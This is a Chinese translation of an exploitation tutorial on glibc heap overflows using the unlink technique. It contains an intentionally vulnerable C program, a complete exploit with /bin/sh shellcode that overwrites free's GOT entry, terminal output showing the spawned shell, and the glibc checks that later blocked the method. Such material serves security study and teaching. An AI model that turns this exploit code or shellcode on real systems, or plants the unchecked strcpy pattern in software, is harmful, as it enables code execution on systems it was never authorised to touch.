使用 unlink 的堆溢出

译者:飞龙

原文:Heap overflow using unlink

预备条件:

  1. 理解 glibc malloc

这篇文章中,让我们了解如何使用 unlink 技巧成功利用堆溢出。但是在了解它之前,首先让我们看看漏洞程序:

  1. /*
  2. Heap overflow vulnerable program.
  3. */
  4. #include <stdlib.h>
  5. #include <string.h>
  6. int main( int argc, char * argv[] )
  7. {
  8. char * first, * second;
  9. /*[1]*/ first = malloc( 666 );
  10. /*[2]*/ second = malloc( 12 );
  11. if(argc!=1)
  12. /*[3]*/ strcpy( first, argv[1] );
  13. /*[4]*/ free( first );
  14. /*[5]*/ free( second );
  15. /*[6]*/ return( 0 );
  16. }

上面程序的行[3]会导致堆溢出。用户输入argv[1]复制给了堆缓冲区first,没有任何大小限制。因此,当用户输入大于 666 字节时,它就会覆盖下一个块的头部。这个溢出会导致任意代码执行。

看一看漏洞程序的堆内存图片:

1

unlink:这个技巧的核心思想,就是欺骗 glibc malloc 来 unlink 第二个块。unlink free的 GOT 条目会使其被 shellcode 地址覆盖。在成功覆盖之后,现在在行[5]free被漏洞程序调用时,shellcode 就会执行。不是很清楚嘛?没问题,首先让我们看看执行free时,glibc malloc 在干什么。

如果没有攻击者影响,行[4]free会做这些事情:

  • 对于不是 mmap 的块,会向前或向后合并。
  • 向后合并
    • 查看前一个块是不是空闲的 — 前一个块是空闲的,如果当前空闲块的PREV_INUSE(P)位没有设置。但是我们这里,前一个块是分配的,因为它的PREV_INUSE位设置了,通常堆内存的第一个块的前面那个块是分配的(即使它不存在)。
    • 如果空闲,合并它。例如,从 binlist unlink(移除)前一个块,将前一个块的大小与当前块相加,并将块指针指向前一个快。但是我们这里,前一个快是分配的,因此 unlink 不会调用。当前空闲块first不能向后合并。
  • 向前合并
    • 查看下一个块是不是空闲的 — 下一个块是空闲的,如果下下个块(距离当前空闲块)的PREV_INUSE(P)位没有设置。为了访问下下个块,将当前块的大小加到它的块指针,再将下一个块的大小加到下一个块指针。我们这里,距离当前空闲块的下下个块是 top 块,它的PREV_INUSE位已设置。因此下一个块second不是空闲的。
    • 如果是空闲的,合并它。例如,从它的 binlist 中 unlink(移除)下一个块,并将下一个块的大小添加到当前大小。但是我们这里,下一个块是分配的,因此 unlink 不会调用。当前空闲块first不能向前合并。
  • 现在将合并后的块添加到 unsorted bin 中。我们这里,由于合并没有发生,只将first块添加到票 unsorted bin 中。

现在让我们假设,攻击者在行[3]覆盖了second块的块头部,像这样:

  • prev_size为偶数,因此PREV_INUSE是未设置的,
  • size = -4
  • fdfree的地址减 12
  • bk为 Shellcode 的地址

在攻击者的影响下,行[4]free会做下面的事情:

  • 对于不是 mmap 的块,会向前或向后合并。
  • 向后合并
    • 查看前一个块是不是空闲的 — 前一个块是空闲的,如果当前空闲块的PREV_INUSE(P)位没有设置。但是我们这里,前一个块是分配的,因为它的PREV_INUSE位设置了,通常堆内存的第一个块的前面那个块是分配的(即使它不存在)。
    • 如果空闲,合并它。例如,从 binlist unlink(移除)前一个块,将前一个块的大小与当前块相加,并将块指针指向前一个快。但是我们这里,前一个快是分配的,因此 unlink 不会调用。当前空闲块first不能向后合并。
  • 向前合并
    • 查看下一个块是不是空闲的 — 下一个块是空闲的,如果下下个块(距离当前空闲块)的PREV_INUSE (P)位未设置。为了访问下下个块,将当前块的大小加到它的块指针,再将下一个块的大小加到下一个块指针。我们这里,距离当前空闲块的下下个块不是 top 块。下下个块在second块的 -4 偏移处,因为攻击者将second块的大小覆盖成了 -4。因此现在 glibc malloc 将second块的prev_inuse字段看做下下个块的大小字段。由于攻击者覆盖了一个偶数(也就是PREV_INUSE (P)为是没有设置的)来代替prev_size,glibc malloc 被欺骗来相信second块是空闲的。
    • 如果是空闲的,合并它。例如,从它的 binlist 中 unlink(移除)下一个块,并将下一个块的大小添加到当前大小。我们这里下一个块是空闲的,因此second块会像这样被 unlink:
      • second块的fdbk值复制到FDBK变量中。这里,FDfree的地址 -12,BK是 shellcode 的地址(作为堆溢出的一部分,攻击者将它的 shellcode 放到了first堆缓冲区中)。
      • BK的值复制到了距离FD偏移为 12 的位置。我们这里将 12 字节加到FD,就指向了free的 GOT 条目,因此现在free的 GOT 条目就覆盖成了 shellcode 地址。好的。现在无论free在哪里调用,shellcode 都会执行。因此漏洞程序中行[5]的执行会导致 shellcode 执行。
    • 现在将合并后的块添加到 unsorted bin 中。

看看漏洞程序的堆内存的图片,在攻击者影响用户输入之后:

2

理解了 unlink 技巧之后,让我们编写利用程序吧。

  1. /* Program to exploit 'vuln' using unlink technique.
  2. */
  3. #include <string.h>
  4. #include <unistd.h>
  5. #define FUNCTION_POINTER ( 0x0804978c ) //Address of GOT entry for free function obtained using "objdump -R vuln".
  6. #define CODE_ADDRESS ( 0x0804a008 + 0x10 ) //Address of variable 'first' in vuln executable.
  7. #define VULNERABLE "./vuln"
  8. #define DUMMY 0xdefaced
  9. #define PREV_INUSE 0x1
  10. char shellcode[] =
  11. /* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function
  12. (by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function.
  13. Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/
  14. "\xeb\x0assppppffff"
  15. "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  16. int main( void )
  17. {
  18. char * p;
  19. char argv1[ 680 + 1 ];
  20. char * argv[] = { VULNERABLE, argv1, NULL };
  21. p = argv1;
  22. /* the fd field of the first chunk */
  23. *( (void **)p ) = (void *)( DUMMY );
  24. p += 4;
  25. /* the bk field of the first chunk */
  26. *( (void **)p ) = (void *)( DUMMY );
  27. p += 4;
  28. /* the fd_nextsize field of the first chunk */
  29. *( (void **)p ) = (void *)( DUMMY );
  30. p += 4;
  31. /* the bk_nextsize field of the first chunk */
  32. *( (void **)p ) = (void *)( DUMMY );
  33. p += 4;
  34. /* Copy the shellcode */
  35. memcpy( p, shellcode, strlen(shellcode) );
  36. p += strlen( shellcode );
  37. /* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize
  38. of first chunk */
  39. memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) );
  40. p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) );
  41. /* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */
  42. *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
  43. p += 4;
  44. /* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/
  45. *( (size_t *)p ) = (size_t)( -4 );
  46. p += 4;
  47. /* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function
  48. would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in
  49. second chunk's bk field (see below) */
  50. *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );
  51. p += 4;
  52. /* the bk field of the second chunk. It should point to shell code address.*/
  53. *( (void **)p ) = (void *)( CODE_ADDRESS );
  54. p += 4;
  55. /* the terminating NUL character */
  56. *p = '';
  57. /* the execution of the vulnerable program */
  58. execve( argv[0], argv, NULL );
  59. return( -1 );
  60. }

执行上述程序会派生新的 shell。

  1. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
  2. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -o exp exp.c
  3. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ ./exp
  4. $ ls
  5. cmd exp exp.c vuln vuln.c
  6. $ exit
  7. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$

保护:现在,unlink 技巧不起作用了,因为 glibc malloc 在近几年变得更可靠。添加下面的检查来放置使用 unlink 技巧的堆溢出。

  • 二次释放:释放一个已经在空闲列表的块是不允许的。当攻击者使用 -4 覆盖第二个块时,它的PREV_INUSE为没有设置,这意味着first已经是空闲状态了。因此 glibc malloc 会抛出二次释放错误。

    1. if (__glibc_unlikely (!prev_inuse(nextchunk)))
    2. {
    3. errstr = "double free or corruption (!prev)";
    4. goto errout;
  • 下一个块大小无效:下一个块的大小应该在 8 到 arena 的全部系统内存之间。当攻击者将second块的大小赋为 -4 时,glibc malloc 就会抛出下一个块大小无效的错误。

    1. if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
    2. || __builtin_expect (nextsize >= av->system_mem, 0))
    3. {
    4. errstr = "free(): invalid next size (normal)";
    5. goto errout;
    6. }
  • 双向链表指针破坏:前一个块的fd和下一个块的bk应该指向当前 unlink 块。当攻击者使用free -12和 shellcode 地址覆盖fdbk时,free和 shellcode 地址 + 8 就不会指向当前 unlink 块(second)。因此 glibc malloc 就抛出双向链表指针破坏错误。

    1. if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
    2. malloc_printerr (check_action, "corrupted double-linked list", P);

注意:出于演示目的,漏洞程序不适用下列 Linunx 保护机制编译:

  • ASLR
  • NX
  • RELRO(重定向只读)

参考